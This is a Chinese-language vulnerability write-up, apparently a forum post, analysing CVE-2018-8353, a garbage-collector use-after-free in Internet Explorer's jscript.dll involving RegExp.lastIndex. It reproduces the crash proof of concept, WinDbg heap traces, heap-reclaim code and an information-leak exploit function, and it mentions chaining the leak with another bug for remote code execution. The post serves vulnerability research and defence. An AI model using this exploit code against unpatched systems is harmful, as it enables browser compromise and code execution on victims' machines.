脚本引擎开发者在设计GC
(Garbage Collect
,简称GC
)时追踪指针不善导致的UAF
(Use-After-Free
)是一类常见的漏洞,这类问题在主流脚本引擎中都比较常见,本文用一个例子来向读者介绍这类漏洞的成因与分析思路。
CVE-2018-8353
是谷歌的Ivan Fratric
发现的一个jscript
漏洞,该漏洞在2018
年8
月被修复。这是一个UAF
漏洞,Ivan Fratric
在披露页清晰地描述了该漏洞的成因:
There is a use-after-free vulnerability in jscript.dll related to how the lastIndex property of a RegExp object is handled. This vulnerability can be exploited through Internet Explorer or potentially through WPAD over local network. The vulnerability has been reproduced on multiple Windows versions with the most recent patches applied.
The issue is that lastIndex property of a RegExp object is not tracked by the garbage collector. If you look at RegExpObj::LastIndex you'll see that, on x64, lastIndex gets stored in a VAR at offset 272 (at least in my version), but if you take a look at RegExpObj::ScavengeCore (which gets called by the garbage collector to track various member variables) you'll notice that that offset is not being tracked. This allows an attacker to set the lastIndex property, and after the garbage collector gets trigger, the corresponding variable is going to get freed.
通俗一点说就是RegExp
类的lastIndex
成员没有被加入GC
追踪列表,如果给它赋值,在GC
时会导致lastIndex
处存储的指针变为悬垂指针。后续再访问lastIndex
时,即造成一个典型的Use-After-Free
场景。
jscript
模块目前已发现多个类似漏洞,例如CVE-2017-11793,CVE-2017-11903,CVE-2018-0866,CVE-2018-0935,CVE-2018-8353,CVE-2018-8653,CVE-2018-8389,CVE-2019-1429
本文试图通过CVE-2018-8353
一窥这类漏洞的成因,并在此基础上分析谷歌PoC
中的信息泄露利用代码。读者将会看到一个GC
导致的UAF
如何被转化为高质量的信息泄露漏洞。
Windows 7 SP1 x86
Windbg
IDA Pro
jscript.dll 5.8.9600.17840 (IE11)
以下为Ivan Fratric
给出的PoC
,下一小节将通过该PoC
分析漏洞成因。
var vars = []; var r = new RegExp(); for(var i=0; i<20000; i++) { vars[i] = "aaaaa"; } r.lastIndex = "aaaaa"; for(var i=20000; i<40000; i++) { vars[i] = "aaaaa"; } vars.length = 0; CollectGarbage(); alert(r.lastIndex);
@0Patch团队已通过补丁分析发现,x86
下lastIndex
位于RegExpObj
对象的+A8
偏移处,如下:
现在RegExpObj::Create
函数内下断点,在RegExpObj
对象创建完成后,对其偏移+A8
处下一个硬件写入断点,这个偏移处存储一个VAR
结构体,此结构体在x86
下大小为0x10
。重点观察+B0
处的数据变化。
为了更清晰地解释成因,笔者并没有开启页堆,但开启了用户模式下堆申请的栈回溯,以下为调试日志:
// jscript!RegExpObj::Create 0:014> bp jscript+32a38 "dd eax+a8 l10/4" 0:014> g 034d4ef8 00000003 00000000 00000000 034d4f3c eax=034d4e50 ebx=05ebb800 ecx=034d4e50 edx=0000000c esi=034d3518 edi=05ebb868 eip=6c092a38 esp=05ebb7b0 ebp=05ebb7c0 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 jscript!RegExpObj::Create+0x2b: 6c092a38 8903 mov dword ptr [ebx],eax ds:0023:05ebb800=05ebb824 // 034d4ef8位于RegExpObj对象的+0xA8处 0:014> !heap -p -a 034d4ef8 address 034d4ef8 found in _HEAP @ 240000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 034d4e38 001b 0000 [00] 034d4e50 000c0 - (busy) jscript!RegExpObj::`vftable' Trace: 813c95c 770cddac ntdll!RtlAllocateHeap+0x00000274 771d9d45 msvcrt!malloc+0x0000008d 771db0d7 msvcrt!operator new+0x0000001d 6c092a25 jscript!RegExpObj::Create+0x00000018 6c09287f jscript!RegExpFncObj::Construct+0x00000077 6c06efb0 jscript!NameTbl::InvokeInternal+0x00000338 6c06453c jscript!VAR::InvokeByDispID+0x00000053 6c06f024 jscript!CScriptRuntime::Run+0x00002013 6c0648ff jscript!ScrFncObj::CallWithFrameOnStack+0x0000015f 6c064783 jscript!ScrFncObj::Call+0x0000007b 6c064cc3 jscript!CSession::Execute+0x0000023d 6c073677 jscript!COleScript::ExecutePendingScripts+0x0000016b 6c0751e3 jscript!COleScript::ParseScriptTextCore+0x00000206 6c074fc9 jscript!COleScript::ParseScriptText+0x00000029 65ca58a5 MSHTML!CActiveScriptHolder::ParseScriptText+0x00000051 65fb25ae MSHTML!CScriptCollection::ParseScriptText+0x00000193 65ca6669 MSHTML!CScriptData::CommitCode+0x00000370 65ca6204 MSHTML!CScriptData::Execute+0x000002a9 65ca6ca4 MSHTML!CHtmScriptParseCtx::Execute+0x00000130 65ab2c60 MSHTML!CHtmParseBase::Execute+0x00000196 65dc246c MSHTML!CHtmPost::Broadcast+0x0000007d 659e60f8 MSHTML!CHtmPost::Exec+0x000005d9 65a6fc08 MSHTML!CHtmPost::Run+0x0000003d 65a6fb6e MSHTML!PostManExecute+0x00000061 65a7a826 MSHTML!PostManResume+0x0000007b 65a64027 MSHTML!CDwnChan::OnMethodCall+0x0000003e 658ee541 MSHTML!GlobalWndOnMethodCall+0x0000016d 658ede4a MSHTML!GlobalWndProc+0x000002e5 7663c4e7 user32!InternalCallWinProc+0x00000023 7663c5e7 user32!UserCallWinProcCheckWow+0x0000014b 7663cc19 user32!DispatchMessageWorker+0x0000035e 7663cc70 user32!DispatchMessageW+0x0000000f // 对VAR结构体偏移+0x08处下写入断点 0:014> ba w4 034d4f00 "dd 034d4ef8 l4" 0:014> g 034d4ef8 00000003 00000000 00000000 034d4f3c // 第1次命中 eax=00000003 ebx=034d4e50 ecx=00000000 edx=00000000 esi=00000000 edi=03471b38 eip=6c092cdf esp=05ebb6c8 ebp=05ebb7a0 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 jscript!RegExpObj::Compile+0x26e: 6c092cdf 89b3b8000000 mov dword ptr [ebx+0B8h],esi ds:0023:034d4f08=00000000 0:014> g 034d4ef8 00000080 00000009 087e1688 034d4f3c // 第2次命中,此时VAR内存储着一处引用 eax=00000000 ebx=034d4e50 ecx=00000001 edx=034d4850 esi=034d485c edi=034d4f04 eip=6c092381 esp=05ebb768 ebp=05ebb78c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 jscript!RegExpObj::LastIndex+0x5f: 6c092381 a5 movs dword ptr es:[edi],dword ptr [esi] es:0023:034d4f04=034d4f3c ds:0023:034d485c=05ebb8f0 // 解引用,发现存储着一个字符串类型的VAR 0:014> dd 087e1688 l4 087e1688 00000082 00000000 034d5b50 03480c28 // 存储的正是之前写入的字符串 0:014> du 034d5b50 034d5b50 "aaaaa" // 查看VAR所位于的堆申请信息 0:014> !heap -p -a 087e1688 address 087e1688 found in _HEAP @ 240000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 087e1118 00d1 0000 [00] 087e1130 00648 - (busy) Trace: 813d988 770cddac ntdll!RtlAllocateHeap+0x00000274 771d9d45 msvcrt!malloc+0x0000008d 771db0d7 msvcrt!operator new+0x0000001d 6c06f639 jscript!GcBlockFactory::PblkAlloc+0x00000031 6c0648ff jscript!ScrFncObj::CallWithFrameOnStack+0x0000015f 6c064783 jscript!ScrFncObj::Call+0x0000007b 6c064cc3 jscript!CSession::Execute+0x0000023d 6c073677 jscript!COleScript::ExecutePendingScripts+0x0000016b 6c0751e3 jscript!COleScript::ParseScriptTextCore+0x00000206 6c074fc9 jscript!COleScript::ParseScriptText+0x00000029 65ca58a5 MSHTML!CActiveScriptHolder::ParseScriptText+0x00000051 65fb25ae MSHTML!CScriptCollection::ParseScriptText+0x00000193 65ca6669 MSHTML!CScriptData::CommitCode+0x00000370 65ca6204 MSHTML!CScriptData::Execute+0x000002a9 65ca6ca4 MSHTML!CHtmScriptParseCtx::Execute+0x00000130 65ab2c60 MSHTML!CHtmParseBase::Execute+0x00000196 65dc246c MSHTML!CHtmPost::Broadcast+0x0000007d 659e60f8 MSHTML!CHtmPost::Exec+0x000005d9 65a6fc08 MSHTML!CHtmPost::Run+0x0000003d 65a6fb6e MSHTML!PostManExecute+0x00000061 65a7a826 MSHTML!PostManResume+0x0000007b 65a64027 MSHTML!CDwnChan::OnMethodCall+0x0000003e 658ee541 MSHTML!GlobalWndOnMethodCall+0x0000016d 658ede4a MSHTML!GlobalWndProc+0x000002e5 7663c4e7 user32!InternalCallWinProc+0x00000023 7663c5e7 user32!UserCallWinProcCheckWow+0x0000014b 7663cc19 user32!DispatchMessageWorker+0x0000035e 7663cc70 user32!DispatchMessageW+0x0000000f 683cf7c8 IEFRAME!DllCanUnloadNow+0x00007e48 6851f738 IEFRAME!SetQueryNetSessionCount+0x00000eb8 764be61c iertutil!_IsoThreadProc_WrapperToReleaseScope+0x0000001c 72043991 IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x00000094 // GC后再次访问lastIndex成员,触发访问违例 0:014> g (bbc.47c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0000008f ebx=087e1688 ecx=00000000 edx=00000001 esi=05ebb834 edi=034d4860 eip=6c067082 esp=05ebb7b0 ebp=05ebb7e4 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 jscript!PrepareInvoke+0x133: 6c067082 663903 cmp word ptr [ebx],ax ds:0023:087e1688=???? // RegExpObj.lastIndex处的指针未被GC清扫 0:014> dd 034d4ef8 l4 034d4ef8 00000080 00000009 087e1688 05ebb8f0 // 原先存储字符串VAR的地方此时已经被free 0:014> !heap -p -a 087e1688 address 087e1688 found in _HEAP @ 240000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 087dc290 1002 0000 [00] 087dc298 08008 - (free)
到这里已经获得一个非常好的UAF
,接下来的问题是:如何使用它?
从调试日志中可以看出,用来存储VAR
变量的内存块是从GcBlockFactory::PblkAlloc
申请的,x86
下其申请大小固定为0x648
(这篇文章有解释为什么x86
下这个大小是0x648
):
如果要重用被释放的内存,得在GC
后迅速用大小为0x648
的内存申请去占用之。如何做到?
一个比较好的方法是借助NameList
。jscript
对象在创建成员变量时,如果成员变量的名称过长(谷歌的文章中说这个长度阈值为4
),会在NameList::FCreateVval
函数内单独申请内存,以存储对应的成员变量,并且会以第一个成员名称的长度去申请特定大小的内存,而相关计算公式是固定的。
通过逆向调试,可以得到x86
下的计算公式:
alloc_size = (2x + 0x32) * 2 + 4 // x为类对象第一个自定义成员名长度,完全可控
现在,令alloc_size=0x648
,解上述方程,可得到x=0x178(0n376)
。于是可以通过下面的代码重用被释放的内存:
// makes NameList allocation of exactly 0x648 bytes var name1 = Array(377).join('a'); for(var i=0; i<500; i++) { var o = {}; objects[i] = o; } // allocate NameList blocks over freed allocations for(var i=0; i<500; i++) { objects[i][name1] = 1; }
在调试器中观察验证重用:
0:014> g 037751a0 00000080 00000000 0a4efa18 00000000 eax=00000000 ebx=037750f8 ecx=00000001 edx=03755000 esi=0375500c edi=037751ac eip=6dc42381 esp=062fb250 ebp=062fb274 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 jscript!RegExpObj::LastIndex+0x5f: 6dc42381 a5 movs dword ptr es:[edi],dword ptr [esi] es:0023:037751ac=00000000 ds:0023:0375500c=00000000 0:014> !heap -p -a 0a4efa18 address 0a4efa18 found in _HEAP @ 20000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 0a4ef628 00d1 0000 [00] 0a4ef640 00648 - (busy) Trace: 86b6c38 770cddac ntdll!RtlAllocateHeap+0x00000274 771d9d45 msvcrt!malloc+0x0000008d 771db0d7 msvcrt!operator new+0x0000001d 6dc1f639 jscript!GcBlockFactory::PblkAlloc+0x00000031 <- 此时为VARs所用的内存 6dc148ff jscript!ScrFncObj::CallWithFrameOnStack+0x0000015f 6dc14783 jscript!ScrFncObj::Call+0x0000007b 6dc14688 jscript!NameTbl::InvokeInternal+0x000002cb 6dc1453c jscript!VAR::InvokeByDispID+0x00000053 6dc144a7 jscript!CScriptRuntime::Run+0x000012b9 6dc148ff jscript!ScrFncObj::CallWithFrameOnStack+0x0000015f 6dc14783 jscript!ScrFncObj::Call+0x0000007b 6dc14cc3 jscript!CSession::Execute+0x0000023d 6dc23677 jscript!COleScript::ExecutePendingScripts+0x0000016b 6dc251e3 jscript!COleScript::ParseScriptTextCore+0x00000206 6dc24fc9 jscript!COleScript::ParseScriptText+0x00000029 65ca58a5 MSHTML!CActiveScriptHolder::ParseScriptText+0x00000051 65fb25ae MSHTML!CScriptCollection::ParseScriptText+0x00000193 65ca6669 MSHTML!CScriptData::CommitCode+0x00000370 65ca6204 MSHTML!CScriptData::Execute+0x000002a9 65ca6ca4 MSHTML!CHtmScriptParseCtx::Execute+0x00000130 65ab2c60 MSHTML!CHtmParseBase::Execute+0x00000196 65dc246c MSHTML!CHtmPost::Broadcast+0x0000007d 659e60f8 MSHTML!CHtmPost::Exec+0x000005d9 65a6fc08 MSHTML!CHtmPost::Run+0x0000003d 65a6fb6e MSHTML!PostManExecute+0x00000061 65a7a826 MSHTML!PostManResume+0x0000007b 65a64027 MSHTML!CDwnChan::OnMethodCall+0x0000003e 658ee541 MSHTML!GlobalWndOnMethodCall+0x0000016d 658ede4a MSHTML!GlobalWndProc+0x000002e5 7663c4e7 user32!InternalCallWinProc+0x00000023 7663c5e7 user32!UserCallWinProcCheckWow+0x0000014b 7663cc19 user32!DispatchMessageWorker+0x0000035e 0:014> g (fd4.1dc): Break instruction exception - code 80000003 (first chance) eax=7ff94000 ebx=00000000 ecx=00000000 edx=770ef1d3 esi=00000000 edi=00000000 eip=77084108 esp=08a3fc34 ebp=08a3fc60 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 ntdll!DbgBreakPoint: 77084108 cc int 3 0:023> !heap -p -a 0a4efa18 address 0a4efa18 found in _HEAP @ 20000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 0a4ef628 00d1 0000 [00] 0a4ef630 00680 - (free) // GC后这块内存被回收 0:023> g (fd4.6e8): Break instruction exception - code 80000003 (first chance) eax=7ffdd000 ebx=00000000 ecx=00000000 edx=770ef1d3 esi=00000000 edi=00000000 eip=77084108 esp=089efb9c ebp=089efbc8 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 ntdll!DbgBreakPoint: 77084108 cc int 3 0:002> !heap -p -a 0a4efa18 address 0a4efa18 found in _HEAP @ 20000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 0a4ef628 00d1 0000 [00] 0a4ef640 00648 - (busy) Trace: 4c96e30 770cddac ntdll!RtlAllocateHeap+0x00000274 771d9d45 msvcrt!malloc+0x0000008d 6dc1971b jscript!NameList::FCreateVval+0x0000018d <- 重占位变为Namelist申请的内存 6dc19769 jscript!NameTbl::CreateVval+0x00000023 6dc2c8c6 jscript!NameTbl::SetVal+0x00000057 6dc2d5b5 jscript!VAR::InvokeByName+0x0000077f 6dc32cd6 jscript!VAR::InvokeByVar+0x00000120 6dc2eae0 jscript!CScriptRuntime::Run+0x00001d33 6dc148ff jscript!ScrFncObj::CallWithFrameOnStack+0x0000015f 6dc14783 jscript!ScrFncObj::Call+0x0000007b 6dc14688 jscript!NameTbl::InvokeInternal+0x000002cb 6dc1453c jscript!VAR::InvokeByDispID+0x00000053 6dc144a7 jscript!CScriptRuntime::Run+0x000012b9 6dc148ff jscript!ScrFncObj::CallWithFrameOnStack+0x0000015f 6dc14783 jscript!ScrFncObj::Call+0x0000007b 6dc14cc3 jscript!CSession::Execute+0x0000023d 6dc23677 jscript!COleScript::ExecutePendingScripts+0x0000016b 6dc251e3 jscript!COleScript::ParseScriptTextCore+0x00000206 6dc24fc9 jscript!COleScript::ParseScriptText+0x00000029 65ca58a5 MSHTML!CActiveScriptHolder::ParseScriptText+0x00000051 65fb25ae MSHTML!CScriptCollection::ParseScriptText+0x00000193 65ca6669 MSHTML!CScriptData::CommitCode+0x00000370 65ca6204 MSHTML!CScriptData::Execute+0x000002a9 65ca6ca4 MSHTML!CHtmScriptParseCtx::Execute+0x00000130 65ab2c60 MSHTML!CHtmParseBase::Execute+0x00000196 65dc246c MSHTML!CHtmPost::Broadcast+0x0000007d 659e60f8 MSHTML!CHtmPost::Exec+0x000005d9 65a6fc08 MSHTML!CHtmPost::Run+0x0000003d 65a6fb6e MSHTML!PostManExecute+0x00000061 65a7a826 MSHTML!PostManResume+0x0000007b 65a64027 MSHTML!CDwnChan::OnMethodCall+0x0000003e 658ee541 MSHTML!GlobalWndOnMethodCall+0x0000016d // 相关内存已变为可控数据 0:002> dc 0a4ef640 0a4ef640 00000000 03750003 0000270e 00000001 ......u..'...... 0a4ef650 00000000 00000000 00000000 d2a7c4b8 ................ 0a4ef660 000002f0 00000000 00000000 00000001 ................ 0a4ef670 0375350c 00610061 00610061 00610061 .5u.a.a.a.a.a.a. 0a4ef680 00610061 00610061 00610061 00610061 a.a.a.a.a.a.a.a. 0a4ef690 00610061 00610061 00610061 00610061 a.a.a.a.a.a.a.a. 0a4ef6a0 00610061 00610061 00610061 00610061 a.a.a.a.a.a.a.a. 0a4ef6b0 00610061 00610061 00610061 00610061 a.a.a.a.a.a.a.a.
前一小节已经在合适的时机控制了被Free
的内存,接下来要通过这个UAF
漏洞实现信息泄露,以得到被重用内存的起始地址。
NameList::FCreateVval
函数内在申请成员变量名内存时,若成员名长度超过一定值,就会额外申请内存去存储这些名称。第一个成员名可以用来控制申请的内存大小,相关计算过程已经在前面说明。后面的成员名称只要长度合适,就可以在第一个成员名称初始化时申请的内存中使用剩余的部分,从而用来布控内存。
在x86
环境下,通过逆向NameList::FCreateVval
函数,发现每个成员名称前面会额外留0x30
大小的空间作为头部,用于初始化各种数据。每次成员名称进行申请时,还会按照下图的计算公式按4
字节对齐并保存与返回相关偏移:
整个计算公式比较复杂,但设计思路很简单,笔者在这里描述一遍,读者只要有一些大致思路即可:x86下
,第一个成员名初始化时,先申请(2x+0x32)*2+4
的内存大小,得到内存后,最初的0x30
作为头部使用,用来初始化各种数据,包括本次字符串长度,指向下一个成员名头的指针(这个指针会后面的成员名初始化时被更新),然后因为是第一个成员,按照公式直接加4
字节进行对齐,所以从前面的调试日志也可以看到,第一个成员名从+0x34
开始被复制。只要第一次申请的内存空间够,第二个成员名按照base+offset+4
的方式进行内存地址获取,然后前0x30
又是头部,接着再开始复制,以此类推。
接下来是泄露被重用内存的首地址。
由于被重用的内容之前存储着lastIndex
引用的VAR
数据,所以只要用长度及内容合适的字符串设计类成员名称,就可以控制指定地址处的VAR
结构。
从这里开始笔者使用Ivan Fratric
在附件中给出的infoleak.html
代码,为便于展示,去除了部分注释:
function exploit() { var name1 = Array(377).join('a'); var name2 = 'bbbbbbbbbbb'; var name3 = String.fromCharCode(3); for(var i=0; i<500; i++) { var o = {}; objects[i] = o; } // allocate regexp objects for(var i=0; i<10000; i++) { regexps[i] = new RegExp(); } // allocate variables that aren't being tracked by GC for(var i=0; i<10000; i++) { regexps[i].lastIndex = "aaaaa"; } // trigger freeing of var blocks CollectGarbage(); // allocate NameList blocks over freed allocations for(var i=0; i<500; i++) { objects[i][name1] = 1; } // fill NameList blocks with other data useful for infolek stage for(var i=0; i<500; i++) { objects[i][name2] = 1; objects[i][name3] = 1; objects[i][getName4(i)] = 1; } for(var i=0; i<10000; i++) { try { if(regexps[i].lastIndex == 0x1337) { alert("win"); magicIndex = i; infoLeak(); return; } } catch(e) { } } }
name1
用来申请大小为0x648
的内存。name2
可调节,用来对齐。name3
用来指定类型,以泄露特定偏移处的一个指针,这个后面再会提及。name4
用来布控0x1337
对应的VAR
,用于jscript
代码中的条件判断。
上面的小节中只关心了name1
,现在开始来具体设计name4,name3,name2
。
首先得计算垂悬指针指向的VAR
结构在被重用内存的偏移值。Ivan Fratric
的适配的是x64
的版本,原poc
在笔者的环境中运行后0x1337
对应的i
为十进制的115
。
x64
与x86
的原理一致,笔者以x86
的版本进行说明。既然x64
环境中对应的i
为115
。x32
环境中笔者也以115
为例进行偏移计算。在上述代码中在第115
个RegExpObj
对象创建时下断点,相关方法在前面UAF
小结已经描述,这个偏移很容易计算得到。
笔者的环境中这个偏移每次固定为0x3d8
,如下:
0:014> g 03527630 00000080 00000000 09c42d70 00000000 eax=00000000 ebx=03527588 ecx=00000001 edx=0350bd40 esi=0350bd4c edi=0352763c eip=6d9a2381 esp=05e5b018 ebp=05e5b03c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 jscript!RegExpObj::LastIndex+0x5f: 6d9a2381 a5 movs dword ptr es:[edi],dword ptr [esi] es:0023:0352763c=00000000 ds:0023:0350bd4c=00000000 0:014> !heap -p -a 09c42d70 address 09c42d70 found in _HEAP @ 1590000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 09c42980 00d1 0000 [00] 09c42998 00648 - (busy) Trace: 9337700 770cddac ntdll!RtlAllocateHeap+0x00000274 771d9d45 msvcrt!malloc+0x0000008d 771db0d7 msvcrt!operator new+0x0000001d 6d97f639 jscript!GcBlockFactory::PblkAlloc+0x00000031 6d9748ff jscript!ScrFncObj::CallWithFrameOnStack+0x0000015f 6d974783 jscript!ScrFncObj::Call+0x0000007b 6d974688 jscript!NameTbl::InvokeInternal+0x000002cb 6d97453c jscript!VAR::InvokeByDispID+0x00000053 6d9744a7 jscript!CScriptRuntime::Run+0x000012b9 6d9748ff jscript!ScrFncObj::CallWithFrameOnStack+0x0000015f 6d974783 jscript!ScrFncObj::Call+0x0000007b 6d974cc3 jscript!CSession::Execute+0x0000023d 6d983677 jscript!COleScript::ExecutePendingScripts+0x0000016b 6d9851e3 jscript!COleScript::ParseScriptTextCore+0x00000206 6d984fc9 jscript!COleScript::ParseScriptText+0x00000029 649e58a5 MSHTML!CActiveScriptHolder::ParseScriptText+0x00000051 64cf25ae MSHTML!CScriptCollection::ParseScriptText+0x00000193 649e6669 MSHTML!CScriptData::CommitCode+0x00000370 649e6204 MSHTML!CScriptData::Execute+0x000002a9 649e6ca4 MSHTML!CHtmScriptParseCtx::Execute+0x00000130 647f2c60 MSHTML!CHtmParseBase::Execute+0x00000196 64b0246c MSHTML!CHtmPost::Broadcast+0x0000007d 647260f8 MSHTML!CHtmPost::Exec+0x000005d9 647afc08 MSHTML!CHtmPost::Run+0x0000003d 647afb6e MSHTML!PostManExecute+0x00000061 647ba826 MSHTML!PostManResume+0x0000007b 647a4027 MSHTML!CDwnChan::OnMethodCall+0x0000003e 6462e541 MSHTML!GlobalWndOnMethodCall+0x0000016d 6462de4a MSHTML!GlobalWndProc+0x000002e5 7663c4e7 user32!InternalCallWinProc+0x00000023 7663c5e7 user32!UserCallWinProcCheckWow+0x0000014b 7663cc19 user32!DispatchMessageWorker+0x0000035e 0:014> ? 09c42d70-09c42998 Evaluate expression: 984 = 000003d8
现在来设计name
,在每个成员名称初始化时,都会有0x30
的头部,在这个头部的+0x24
处是一个指针(这个指针要到初始化下一个成员名时才会被初始化),指向下一个变量名的0x30
头部,下图中字体为红色的即为这些指针。如果能读取其中一个指针,减去其相对内存起始地址的偏移,就可以得到被重用内存的首地址。
下图中字体颜色为橙黄的是被拷贝的成员名称,每个名称最后会多拷贝两个0x00
。字体颜色为蓝色的是每个成员名称的实际长度(unicode
)。字体颜色为红色上面已经进行解释。字体背景为灰色的一个个0x30
内存区域为name2、name3、name4
三个成员名的头部。
字体背景为黄色高亮的区域,实验时发现会与name3
的值相同(意思就是给3
得3
,给5
得5
)。后面需要借助这个值来读取它后面偏移8
字节的一个红色指针。
因为要泄露某个红色指针,所以x86
下必须保证这个红色指针之前8
字节处的type
为long
型,这可以通过设计name3
来实现。现在的问题是:VAR
与某个特定的lastIndex
对应起来?
幸运的是,通过调试观察发现,当连续申请VAR
结构时,一个个大小为0x10
的VAR
似乎是从高内存往低内存次第排列。笔者用下图来通俗地解释一下VAR
的分布(name2
中b
的数量被用来调节这里的对齐):
所以,在x86
下,如果找到了0x1337
对应的regexps[i].lastIndex
,就可以通过读取regexps[i+5].lastIndex
来泄露相关指针,减去固定偏移就得到被重用内存的起始地址了。如下:
function infoLeak() { allocationAddress = regexps[magicIndex + 5].lastIndex - 0x3a4; }
到这里已经将这个UAF
漏洞转为了信息泄露,泄露出一块(aaa...
部分)完全可控的内存的首地址。如果读者之前看过笔者之前的一篇文章,就会明白这里已经将CVE-2018-8353
转换为和CVE-2017-11906
具有相同功能的信息泄露漏洞。
此类信息泄露漏洞与其他堆溢出漏洞一起使用可以实现RCE
。笔者将这个漏洞的利用代码稍加改动,并配合CVE-2017-11907
一起使用,可以在未打补丁的机器上实现RCE
。
考虑到CVE-2018-8653
或CVE-2019-1429
这类在野0day
的利用方式,应该是用了更高级的利用手法,通过UAF
直接实现了任意地址读写,通过单个UAF
即可实现RCE
,并不需要其他漏洞进行辅助。
这类漏洞后面一定还会出现,请大家做好防范工作。
Issue 1587: Windows: use-after-free in JScript in RegExp.lastIndex
Garbage Collection Internals of JScript
[2020元旦礼物]《看雪论坛精华17》发布!(补齐之前所有遗漏版本)!
最后于 22小时前 被银雁冰编辑 ,原因: